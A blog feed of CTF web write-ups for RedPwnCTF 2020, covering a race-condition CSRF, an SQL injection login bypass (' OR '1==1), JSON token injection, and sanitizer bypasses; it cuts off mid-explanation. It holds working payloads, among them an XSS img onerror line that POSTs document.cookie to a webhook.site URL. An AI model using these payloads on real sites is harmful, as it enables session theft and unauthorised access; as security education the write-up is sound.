</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">500</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// User can only receive one gift
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">setReceived</span>(<span style="color:#a6e22e">user_id</span>);
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">500</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">result</span>.<span style="color:#a6e22e">success</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">util</span>.<span style="color:#a6e22e">respondJSON</span>(<span style="color:#a6e22e">res</span>, <span style="color:#ae81ff">200</span>, <span style="color:#a6e22e">result</span>);
</span></span><span style="display:flex;"><span>    }]
</span></span></code></pre></div><p>The admin has the ability to gift a user some credits. This function is designed to only occur once, but we can fool the server into doing this several times with a race condition, as there is some time between the request being made and served, and when our &ldquo;recievedGift&rdquo; check changes.
The important filter to bypass is the fact that the function grabs the id from the user&rsquo;s token in order to verify that the request has actually been made by the admin. Since we don&rsquo;t have the admin token, we must forcethe admin to make the request without knowing - a CSRF attack.
We simply need to host a script on our server (that sends multiple requests at once) on the behalf of the admin to gift our account as many credits as we need. Going back to the URL submission, we send the admin the url of our server hosting that script, and when they visit - we can make the requests as needed with the admin&rsquo;s token. We should then recieve plenty of credits, and therefore purchase the flag for ourselves.</p>

    <img src="/images/REDPWN2020_Balance.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p><code>flag{n0_m0r3_gu3551ng}</code></p>
<h2 id="summary">Summary</h2>
<p>These were interesting problems that allowed me to explore some more unique web exploits! I still hope to discuss more redpwn problems, but nonetheless I wanted to share my writeups for the challenges that were incredibly enjoyable to do!</p>
<p>Jam</p>
]]></content>
        </item>
        
        <item>
            <title>RedPwnCTF 2020</title>
            <link>https://jamvie.net/posts/2020/06/redpwnctf-2020/</link>
            <pubDate>Thu, 25 Jun 2020 16:26:44 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/06/redpwnctf-2020/</guid>
            <description>RedPwnCTF 2020 is a beginner to intermediate CTF that&amp;rsquo;s accessible to high school and college students. The CTF featured a range of easy to harder problems, which provided both a good introduction into CTFs and an opportunity to stretch your pre-established skills. I solved through a good portion of the web problems, and will document a few of the ones here.
Let&amp;rsquo;s Begin! The problems are in no way ordered in terms of difficulty.</description>
            <content type="html"><![CDATA[<p>RedPwnCTF 2020 is a beginner to intermediate CTF that&rsquo;s accessible to high school and college students. The CTF featured a range of easy to harder problems, which provided both a good introduction into CTFs and an opportunity to stretch your pre-established skills. I solved through a good portion of the web problems, and will document a few of the ones here.</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p>The problems are in no way ordered in terms of difficulty.</p>
<h3 id="login">login</h3>
<ul>
<li>points: 148</li>
</ul>

    <img src="/images/REDPWN2020_LoginPage.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>A simple login page - a sign for sql injection attacks. Consider the provided script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">__rootdir</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">__dirname</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">express</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;express&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">bodyParser</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;body-parser&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">cookieParser</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;cookie-parser&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">path</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;path&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">db</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;better-sqlite3&#39;</span>)(<span style="color:#e6db74">&#39;db.sqlite3&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;dotenv&#39;</span>).<span style="color:#a6e22e">config</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">app</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">express</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">use</span>(<span style="color:#a6e22e">bodyParser</span>.<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">extended</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span> }));
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">use</span>(<span style="color:#a6e22e">cookieParser</span>());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">post</span>(<span style="color:#e6db74">&#39;/api/flag&#39;</span>, (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">username</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">username</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">password</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">password</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">username</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#39;string&#39;</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">400</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">password</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#39;string&#39;</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">400</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">result</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">result</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">`SELECT * FROM users 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">            WHERE username = &#39;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">username</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">            AND password = &#39;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">password</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;;`</span>).<span style="color:#a6e22e">get</span>();
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">success</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;There was a problem.&#34;</span> });
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">result</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">success</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>, <span style="color:#a6e22e">flag</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">FLAG</span> });
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">success</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Incorrect username or password.&#34;</span> });
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">use</span>(<span style="color:#a6e22e">express</span>.<span style="color:#66d9ef">static</span>(<span style="color:#a6e22e">path</span>.<span style="color:#a6e22e">join</span>(<span style="color:#a6e22e">__dirname</span>, <span style="color:#e6db74">&#39;/public&#39;</span>)));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">listen</span>(<span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">PORT</span> <span style="color:#f92672">||</span> <span style="color:#ae81ff">3000</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// init database
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">`CREATE TABLE IF NOT EXISTS users (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    id INTEGER PRIMARY KEY AUTOINCREMENT,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    username TEXT,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    password TEXT);`</span>).<span style="color:#a6e22e">run</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">`INSERT INTO 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    users (username, password)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    VALUES (&#39;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">USERNAME</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;, &#39;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">PASSWORD</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;);`</span>).<span style="color:#a6e22e">run</span>();
</span></span></code></pre></div><p>In the post request to api/flag, our username and password input are fed directly into the database, which is sqlite-based.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>   <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">result</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">result</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">`SELECT * FROM users 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">            WHERE username = &#39;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">username</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">            AND password = &#39;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">password</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;;`</span>).<span style="color:#a6e22e">get</span>();
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">success</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;There was a problem.&#34;</span> });
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">result</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">success</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>, <span style="color:#a6e22e">flag</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">FLAG</span> });
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>Using the following credentials:</p>
<pre tabindex="0"><code>username: admin
password:  &#39; OR &#39;1==1
</code></pre><p>We malform the SQL query in the password field - including a tautology so the statement will return true. The resulting SQL will look like:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> users
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">WHERE</span> username <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;admin&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">AND</span> password <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39; &#39;</span> <span style="color:#66d9ef">OR</span> <span style="color:#e6db74">&#39;1==1&#39;</span>;
</span></span></code></pre></div>
    <img src="/images/REDPWN2020_LoginFlag.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<h3 id="static-pastebin">static-pastebin</h3>
<ul>
<li>points: 378</li>
</ul>

    <img src="/images/REDPWN2020_StaticPastebin.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>The site will take our input, feed it through a clean() function loaded from a script on the client-end, and then paste the &ldquo;cleaned&rdquo; text into an HTML div tag known as &ldquo;paste&rdquo;.</p>
<pre tabindex="0"><code>function display(input) {
    document.getElementById(&#39;paste&#39;).innerHTML = clean(input);
}

function clean(input) {
    let brackets = 0;
    let result = &#39;&#39;;
    for (let i = 0; i &lt; input.length; i++) {
        const current = input.charAt(i);
        if (current == &#39;&lt;&#39;) {
            brackets ++;
        }
        if (brackets == 0) {
            result += current;
        }
        if (current == &#39;&gt;&#39;) {
            brackets --;
        }
    }
    return result
}
</code></pre><p>Observe that clean() &ldquo;filters&rdquo; out potential xss attempts by removing anything within <code>&lt;&gt;</code> brackets. However, the function does this by consulting a <code>brackets</code> variable, which is expected to either take 0 or 1. However, the order of the if statements are important - if the first character is <code>&gt;</code>, then <code>brackets</code> will remain as 0 through the first and second if-statement checks - specifically on the 2nd check, <code>&gt;</code> is recorded. When it reaches the third, then <code>brackets</code> becomes -1. If the 2nd character after <code>&gt;</code> is <code>&lt;</code>, the opening angular bracket, the first check changes brackets back to 0 and <code>&lt;</code> is also recorded. Therefore, <code>&lt;&gt;</code> will not show in the page, but <code>&gt;&lt;</code> will. We can use this fact to smuggle our tags through - for every angular bracket, turn it into a <code>&gt;&lt;</code> pair.</p>
<p>The rest of the problem is a classic reflected xss attack. Using an HTML <code>img</code> attribute, grab the document cookie and have it sent to your server.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&gt;&lt;<span style="color:#f92672">img</span> 
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://this.isnt.a/real.site&#34;</span> 
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">onerror</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;fetch(
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        &#39;https://webhook.site/31b4faf3-e6e6-44af-9d7d-196e18bcaed4&#39;, {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">            method:&#39;POST&#39;, 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">            body: JSON.stringify({data:document.cookie})
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        }
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    );&#34;</span>&gt;<span style="color:#960050;background-color:#1e0010">&lt;</span>
</span></span></code></pre></div><p>Input this, we will get a broken image, but inspecting the page will show that our <code>img</code> tag has sucessfully been interpreted as HTML. Additionally, we will get a ping on our server once the page loads. Report the URL of the page, and once the admin bot checks, we will get the flag sent to our server.</p>

    <img src="/images/REDPWN2020_StaticPastebinFlag.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<h3 id="panda-facts">Panda-Facts</h3>
<ul>
<li>points: 417</li>
</ul>

    <img src="/images/REDPWN2020_PandaFacts.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>Register and see some pretty anti-panda facts. At the bottom is a secret fact that will bar anyone who isn&rsquo;t a member. The challenge&rsquo;s provided script reveals the check:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">generateToken</span>(<span style="color:#a6e22e">username</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">algorithm</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;aes-192-cbc&#39;</span>; 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">key</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Buffer</span>.<span style="color:#a6e22e">from</span>(<span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">KEY</span>, <span style="color:#e6db74">&#39;hex&#39;</span>); 
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Predictable IV doesn&#39;t matter here
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">iv</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Buffer</span>.<span style="color:#a6e22e">alloc</span>(<span style="color:#ae81ff">16</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">cipher</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">crypto</span>.<span style="color:#a6e22e">createCipheriv</span>(<span style="color:#a6e22e">algorithm</span>, <span style="color:#a6e22e">key</span>, <span style="color:#a6e22e">iv</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">token</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`{&#34;integrity&#34;:&#34;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">INTEGRITY</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;,&#34;member&#34;:0,&#34;username&#34;:&#34;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">username</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;}`</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">encrypted</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">encrypted</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">cipher</span>.<span style="color:#a6e22e">update</span>(<span style="color:#a6e22e">token</span>, <span style="color:#e6db74">&#39;utf8&#39;</span>, <span style="color:#e6db74">&#39;base64&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">encrypted</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">cipher</span>.<span style="color:#66d9ef">final</span>(<span style="color:#e6db74">&#39;base64&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">encrypted</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/api/flag&#39;</span>, <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">cookies</span>.<span style="color:#a6e22e">token</span> <span style="color:#f92672">||</span> <span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">cookies</span>.<span style="color:#a6e22e">token</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#39;string&#39;</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">json</span>({<span style="color:#a6e22e">success</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;Invalid token&#39;</span>});
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">result</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">decodeToken</span>(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">cookies</span>.<span style="color:#a6e22e">token</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">result</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">json</span>({<span style="color:#a6e22e">success</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;Invalid token&#39;</span>});
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">result</span>.<span style="color:#a6e22e">member</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">json</span>({<span style="color:#a6e22e">success</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;You are not a member&#39;</span>});
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">json</span>({<span style="color:#a6e22e">success</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>, <span style="color:#a6e22e">flag</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">FLAG</span>});
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>The member field for us is 0. However, observe that the generateToken() function feeds our username input unsanitized to be used by other functions.
If we make our username overwrite the first assignment to the member field, we can bypass the member check.</p>
<p>I inputted this as my username:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">jam</span><span style="color:#e6db74">&#34;, &#34;</span><span style="color:#960050;background-color:#1e0010">member</span><span style="color:#e6db74">&#34;:1, &#34;</span><span style="color:#960050;background-color:#1e0010">ignore</span><span style="color:#e6db74">&#34;:&#34;</span>
</span></span></code></pre></div><p>This malforms the <code>token</code> variable into:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">token</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`{&#34;integrity&#34;:&#34;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">INTEGRITY</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;,&#34;member&#34;:0,&#34;username&#34;:&#34;jam&#34;, &#34;member&#34;:1, &#34;ignore&#34;:&#34;&#34;}`</span>
</span></span></code></pre></div><p>We overwrite the initial member assignment to the value we want.</p>
<p>Clicking on the secret fact presents the flag.</p>

    <img src="/images/REDPWN2020_PandaFactsFlag.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<h3 id="static-static-hosting">Static-static-hosting</h3>
<ul>
<li>points: 434</li>
</ul>
<p>Same idea as the problem &ldquo;Static-Pastebin&rdquo;: try and put an xss attack in the site. However, they filter <code>&lt;script&gt;</code> tags.</p>
<pre tabindex="0"><code>function sanitize(element) {
    const attributes = element.getAttributeNames();
    for (let i = 0; i &lt; attributes.length; i++) {
        // Let people add images and styles
        if (![&#39;src&#39;, &#39;width&#39;, &#39;height&#39;, &#39;alt&#39;, &#39;class&#39;].includes(attributes[i])) {
            element.removeAttribute(attributes[i]);
        }
    }

    const children = element.children;
    for (let i = 0; i &lt; children.length; i++) {
        if (children[i].nodeName === &#39;SCRIPT&#39;) {
            element.removeChild(children[i]);
            i --;
        } else {
            sanitize(children[i]);
        }
    }
}
</code></pre><p>Tried to use my <code>&lt;img&gt;</code>-based payload from before but it didn&rsquo;t ping my server when I visited it, as I believe it removes the <code>onerror()</code> function.</p>
<p>However, there still exists different ways to inject an xss payload. As an example, an <code>&lt;iframe&gt;</code>:</p>
